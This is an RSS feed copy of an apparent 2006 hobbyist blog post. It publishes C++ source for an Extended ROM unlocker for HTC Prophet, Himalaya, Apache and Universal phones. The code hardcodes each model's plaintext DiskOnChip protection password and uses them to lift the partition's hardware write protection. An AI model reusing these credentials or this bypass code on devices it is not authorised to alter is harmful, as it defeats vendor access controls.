WindowsMobile 2005 operating system (see the comment in source). DiskOnChip (DOC) is protected by simple plaintext password, which is readable in bootloader/SPL dumps. The code is pretty simple and easy, however, if you [...]<h4>Related posts:</h4><ol><li><a href='http://buzzdev.org/software-development/grab_it-rom-dumper-source-code/' rel='bookmark' title='Permanent Link: grab_it ROM dumper [source code]'>grab_it ROM dumper [source code]</a></li><li><a href='http://buzzdev.org/mobile-security/hermes-free-sim-unlocker-by-pof/' rel='bookmark' title='Permanent Link: HTC Hermes &#8211; free SIM unlocker by pof'>HTC Hermes &#8211; free SIM unlocker by pof</a></li></ol>]]></description> <content:encoded><![CDATA[<p>Here&#8217;s the source code of Extended ROM unlocker for:</p><ul><li>HTC Himalaya</li><li>HTC Prophet</li><li>HTC Apache</li><li>HTC Universal</li></ul><p>This c++ source works on WindowsMobile 2005 operating system (see the comment in source).</p><p>DiskOnChip (DOC) is protected by simple plaintext password, which is readable in bootloader/SPL dumps.</p><p>The code is pretty simple and easy, however, if you don&#8217;t understand something, feel free to post a comment and ask.</p><pre class="brush: cpp">// **********************************************************
// HTC Prophet/Himalaya/Apache/Universal ExtendedROM unlocker
// for WindowsMobile 2005
// by buzz_lightyear
// http://buzzdev.net
// May 2006
// **********************************************************

#include
#include
#include &quot;diskio.h&quot;
#include
#include &quot;ceioctl.h&quot;

#define BUFFER_SIZE 0x200

// this handle works on WindowsMobile2005
LPCTSTR diskname = L&quot;\Extended_ROM\Vol:&quot;;

DWORD nReturned = 0;
HANDLE hDevice = NULL;
flProtectionOutput out;

FLStatus PrintFLStatus(const FLStatus bStat) ;

bool PartitionInsertKey(HANDLE hDsk, bool bInsert)
  {
	  BYTE in[10];

  in[0]= 0;
        //      COMMENT/UNCOMMENT as apropriate for given device
        //      |--------------------- HTC Prophet DOC password
        //      |     |--------------- HTC Himalaya DOC password
        //      |     |     |--------- HTC Apache DOC password
        //      |     |     |     |--- HTC Universal DOC password
	in[1]= &#039;a&#039;;//&#039;a&#039;;//&#039;A&#039;;// a
	in[2]= &#039;!&#039;;//&#039;Y&#039;;//&#039;p&#039;;// S
	in[3]= &#039;0&#039;;//&#039;a&#039;;//&#039;a&#039;;// r
	in[4]= &#039;3&#039;;//&#039;L&#039;;//&#039;c&#039;;// E
	in[5]= &#039;2&#039;;//&#039;a&#039;;//&#039;M&#039;;// v
	in[6]= &#039;1&#039;;//&#039;M&#039;;//&#039;V&#039;;// I
	in[7]= &#039;9&#039;;//&#039;i&#039;;//&#039;9&#039;;// n
	in[8]= &#039;1&#039;;//&#039;H&#039;;//&#039;4&#039;;// U
	in[9]= bInsert?PROTECTION_INSERT_KEY:PROTECTION_REMOVE_KEY;

	memset(&amp;amp;out, 0, sizeof(out));

    DWORD nReturned=0;
    if (!DeviceIoControl(hDsk, FL_IOCTL_BDTL_HW_PROTECTION, &amp;amp;in, sizeof(in), &amp;amp;out, sizeof(out), &amp;amp;nReturned, NULL)) {
		PrintFLStatus(out.status);
        return false;
    }
	//PrintFLStatus(out.status);
    return true;
}

bool PartitionChangeType(HANDLE hDsk, DWORD dwType)
{
    BYTE in[10];

    in[0]= (BYTE)dwType;
	in[1]= &#039;a&#039;;//&#039;a&#039;;//&#039;A&#039;;// a
	in[2]= &#039;!&#039;;//&#039;Y&#039;;//&#039;p&#039;;// S
	in[3]= &#039;0&#039;;//&#039;a&#039;;//&#039;a&#039;;// r
	in[4]= &#039;3&#039;;//&#039;L&#039;;//&#039;c&#039;;// E
	in[5]= &#039;2&#039;;//&#039;a&#039;;//&#039;M&#039;;// v
	in[6]= &#039;1&#039;;//&#039;M&#039;;//&#039;V&#039;;// I
	in[7]= &#039;9&#039;;//&#039;i&#039;;//&#039;9&#039;;// n
	in[8]= &#039;1&#039;;//&#039;H&#039;;//&#039;4&#039;;// U
    in[9]= PROTECTION_CHANGE_TYPE;

    memset(&amp;amp;out, 0, sizeof(out));

    DWORD nReturned=0;
    if (!DeviceIoControl(hDsk, FL_IOCTL_BDTL_HW_PROTECTION, &amp;amp;in, sizeof(in), &amp;amp;out, sizeof(out), &amp;amp;nReturned, NULL)) {
        //error(&quot;FL_IOCTL_BDTL_HW_PROTECTION&quot;);
		PrintFLStatus(out.status);
        return false;
    }
	PrintFLStatus(out.status);
    return true;
}

bool unlockdisk(HANDLE hDsk)
{
    if (PartitionInsertKey(hDsk, true) &amp;amp;&amp;amp;  PartitionChangeType(hDsk, PROTECTABLE))
	{
	return true;
	}
	return false;
}

//TRACE
void TRACE(LPCTSTR szFormat, ...)
{

	TCHAR szBuffer[BUFFER_SIZE];

	va_list pArgs;
	va_start(pArgs, szFormat);
	wvsprintf(szBuffer, szFormat, pArgs);
	va_end(pArgs);

	_tcscat(szBuffer, TEXT(&quot;rn&quot;));
	OutputDebugString(szBuffer);
}

FLStatus PrintFLStatus(const FLStatus bStat)
{
	switch(bStat)
	{
	case flOK: TRACE(TEXT(&quot;FLStatus: OKn&quot;));
		MessageBox(NULL, L&quot;SUCCESS&quot;, L&quot;OK&quot;, MB_OK | MB_ICONWARNING | MB_TOPMOST | MB_SETFOREGROUND | MB_APPLMODAL);
		break;
	case flBadFunction:
		TRACE(TEXT(&quot;FLStatus: BadFunctionn&quot;)) ;
		break ;
	case flFileNotFound:
		TRACE(TEXT(&quot;FLStatus: FileNotFoundn&quot;)) ;
		break ;
	case flPathNotFound:
		TRACE(TEXT(&quot;FLStatus: PathNotFoundn&quot;)) ;
		break ;
	case flTooManyOpenFiles:
		TRACE(TEXT(&quot;FLStatus: TooManyOpenFilesn&quot;)) ;
		break ;
	case flNoWriteAccess:
		TRACE(TEXT(&quot;FLStatus: NoWriteAccessn&quot;)) ;
		break ;
	case flBadFileHandle:
		TRACE(TEXT(&quot;FLStatus: BadFileHandlen&quot;)) ;
		break ;
	case flDriveNotAvailable:
		TRACE(TEXT(&quot;FLStatus: DriveNotAvailablen&quot;)) ;
		break ;
	case flNonFATformat:
		TRACE(TEXT(&quot;FLStatus: NonFATformatn&quot;)) ;
		break ;
	case flFormatNotSupported:
		TRACE(TEXT(&quot;FLStatus: FormatNotSupportedn&quot;)) ;
		break ;
	case flNoMoreFiles:
		TRACE(TEXT(&quot;FLStatus: NoMoreFilesn&quot;)) ;
		break ;
	case flWriteProtect:
		TRACE(TEXT(&quot;FLStatus: WriteProtectn&quot;)) ;
		break ;
	case flBadDriveHandle:
		TRACE(TEXT(&quot;FLStatus: BadDriveHandlen&quot;)) ;
		MessageBox(NULL, L&quot;BadDriveHandle&quot;, L&quot;Error&quot;, MB_OK | MB_ICONWARNING | MB_TOPMOST | MB_SETFOREGROUND | MB_APPLMODAL);
		break ;
	case flDriveNotReady:
		TRACE(TEXT(&quot;FLStatus: DriveNotReadyn&quot;)) ;
		MessageBox(NULL, L&quot;DriveNotReady&quot;, L&quot;Error&quot;, MB_OK | MB_ICONWARNING | MB_TOPMOST | MB_SETFOREGROUND | MB_APPLMODAL);
		break ;
	case flUnknownCmd:
		TRACE(TEXT(&quot;FLStatus: UnknownCmdn&quot;)) ;
		break ;
	case flBadFormat:
		TRACE(TEXT(&quot;FLStatus: BadFormatn&quot;)) ;
		break ;
	case flBadLength:
		TRACE(TEXT(&quot;FLStatus: BadLengthn&quot;)) ;
		break ;
	case flDataError:
		TRACE(TEXT(&quot;FLStatus: DataErrorn&quot;)) ;
		break ;
	case flUnknownMedia:
		TRACE(TEXT(&quot;FLStatus: UnknownMedian&quot;)) ;
		break ;
	case flSectorNotFound:
		TRACE(TEXT(&quot;FLStatus: SectorNotFoundn&quot;)) ;
		break ;
	case flOutOfPaper:
		TRACE(TEXT(&quot;FLStatus: OutOfPapern&quot;)) ;
		break ;
	case flWriteFault:
		TRACE(TEXT(&quot;FLStatus: WriteFaultn&quot;)) ;
		break ;
	case flReadFault:
		TRACE(TEXT(&quot;FLStatus: ReadFaultn&quot;)) ;
		break ;
	case flGeneralFailure:
		TRACE(TEXT(&quot;FLStatus: GeneralFailuren&quot;)) ;
		break ;
	case flDiskChange:
		TRACE(TEXT(&quot;FLStatus: DiskChangen&quot;)) ;
		break ;
	case flVppFailure:
		TRACE(TEXT(&quot;FLStatus: VppFailuren&quot;)) ;
		break ;
	case flBadParameter:
		TRACE(TEXT(&quot;FLStatus: BadParametern&quot;)) ;
		break ;
	case flNoSpaceInVolume:
		TRACE(TEXT(&quot;FLStatus: NoSpaceInVolumen&quot;)) ;
		break ;
	case flInvalidFATchain:
		TRACE(TEXT(&quot;FLStatus: InvalidFATchainn&quot;)) ;
		break ;
	case flRootDirectoryFull:
		TRACE(TEXT(&quot;FLStatus: RootDirectoryFulln&quot;)) ;
		break ;
	case flNotMounted:
		TRACE(TEXT(&quot;FLStatus: NotMountedn&quot;)) ;
		break ;
	case flPathIsRootDirectory:
		TRACE(TEXT(&quot;FLStatus: PathIsRootDirectoryn&quot;)) ;
		break ;
	case flNotADirectory:
		TRACE(TEXT(&quot;FLStatus: NotADirectoryn&quot;)) ;
		break ;
	case flDirectoryNotEmpty:
		TRACE(TEXT(&quot;FLStatus: DirectoryNotEmptyn&quot;)) ;
		break ;
	case flFileIsADirectory:
		TRACE(TEXT(&quot;FLStatus: FileIsADirectoryn&quot;)) ;
		break ;
	case flAdapterNotFound:
		TRACE(TEXT(&quot;FLStatus: AdapterNotFoundn&quot;)) ;
		break ;
	case flFormattingError:
		TRACE(TEXT(&quot;FLStatus: FormattingErrorn&quot;)) ;
		break ;
	case flNotEnoughMemory:
		TRACE(TEXT(&quot;FLStatus: NotEnoughMemoryn&quot;)) ;
		break ;
	case flVolumeTooSmall:
		TRACE(TEXT(&quot;FLStatus: VolumeTooSmalln&quot;)) ;
		break ;
	case flBufferingError:
		TRACE(TEXT(&quot;FLStatus: BufferingErrorn&quot;)) ;
		break ;
	case flFileAlreadyExists:
		TRACE(TEXT(&quot;FLStatus: FileAlreadyExistsn&quot;)) ;
		break ;
	case flIncomplete:
		TRACE(TEXT(&quot;FLStatus: Incompleten&quot;)) ;
		break ;
	case flTimedOut:
		TRACE(TEXT(&quot;FLStatus: TimedOutn&quot;)) ;
		break ;
	case flTooManyComponents:
		TRACE(TEXT(&quot;FLStatus: TooManyComponentsn&quot;)) ;
		break ;
	case flTooManyDrives:
		TRACE(TEXT(&quot;FLStatus: TooManyDrivesn&quot;)) ;
		break ;
	case flTooManyBinaryPartitions:
		TRACE(TEXT(&quot;FLStatus: TooManyBinaryPartitionsn&quot;)) ;
		break ;
	case flPartitionNotFound:
		TRACE(TEXT(&quot;FLStatus: PartitionNotFoundn&quot;)) ;
		break ;
	case flFeatureNotSupported:
		TRACE(TEXT(&quot;FLStatus: FeatureNotSupportedn&quot;)) ;
		break ;
	case flWrongVersion:
		TRACE(TEXT(&quot;FLStatus: WrongVersionn&quot;)) ;
		break ;
	case flTooManyBadBlocks:
		TRACE(TEXT(&quot;FLStatus: TooManyBadBlocksn&quot;)) ;
		break ;
	case flNotProtected:
		TRACE(TEXT(&quot;FLStatus: NotProtectedn&quot;)) ;
		MessageBox(NULL, L&quot;ExtROM is not protectednwith password.&quot;, L&quot;Error&quot;, MB_OK | MB_ICONWARNING | MB_TOPMOST | MB_SETFOREGROUND | MB_APPLMODAL);
		break ;
	case flBadBBT:
		TRACE(TEXT(&quot;FLStatus: BadBBTn&quot;)) ;
		break ;
	case flWrongKey:
		TRACE(TEXT(&quot;FLStatus: WrongKeyn&quot;));
		MessageBox(NULL, L&quot;WrongKey&quot;, L&quot;Error&quot;, MB_OK | MB_ICONWARNING | MB_TOPMOST | MB_SETFOREGROUND | MB_APPLMODAL);
		break ;
	case flHWProtection:
		TRACE(TEXT(&quot;FLStatus: HWProtectionn&quot;)) ;
		MessageBox(NULL, L&quot;HWProtection&quot;, L&quot;Error&quot;, MB_OK | MB_ICONWARNING | MB_TOPMOST | MB_SETFOREGROUND | MB_APPLMODAL);
		break ;
	case flBadDownload:
		TRACE(TEXT(&quot;FLStatus: BadDownloadn&quot;)) ;
		break ;
	default:
		TRACE(TEXT(&quot;FLStatus: Unknown statusn&quot;)) ;
		MessageBox(NULL, L&quot;Unknown status&quot;, L&quot;Error&quot;, MB_OK | MB_ICONWARNING | MB_TOPMOST | MB_SETFOREGROUND | MB_APPLMODAL);
		break ;
}

return (bStat) ;
}

///////////////////////////////////
///////////////////////////////////
///////////////////////////////////
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hInstPrev, LPWSTR pszCmdLine, int nCmdShow)
{
	hDevice = CreateFile(diskname, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
	if (hDevice == NULL || hDevice == INVALID_HANDLE_VALUE)
	{
		TRACE(TEXT(&quot;Create handle failed.&quot;));
		return 1;
	}
	TRACE(TEXT(&quot;Create handle succeededn&quot;));

	if (unlockdisk(hDevice))
	{
		TRACE(L&quot;Unlockedn&quot;);
	}

	//	default:
	if(hDevice)
	{
		CloseHandle(hDevice);
		hDevice = NULL;
	}

	return 0;
}
///////////////////////////////////////////////
///////////////////////////////////////////////
///////////////////////////////////////////////</pre><h4>Related posts:</h4><ol><li><a href='http://buzzdev.org/software-development/grab_it-rom-dumper-source-code/' rel='bookmark' title='Permanent Link: grab_it ROM dumper [source code]'>grab_it ROM dumper [source code]</a></li><li><a href='http://buzzdev.org/mobile-security/hermes-free-sim-unlocker-by-pof/' rel='bookmark' title='Permanent Link: HTC Hermes &#8211; free SIM unlocker by pof'>HTC Hermes &#8211; free SIM unlocker by pof</a></li></ol>]]></content:encoded> <wfw:commentRss>http://buzzdev.org/software-development/extended-rom-unlocker-for-windowsmobile-2005/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> </channel> </rss>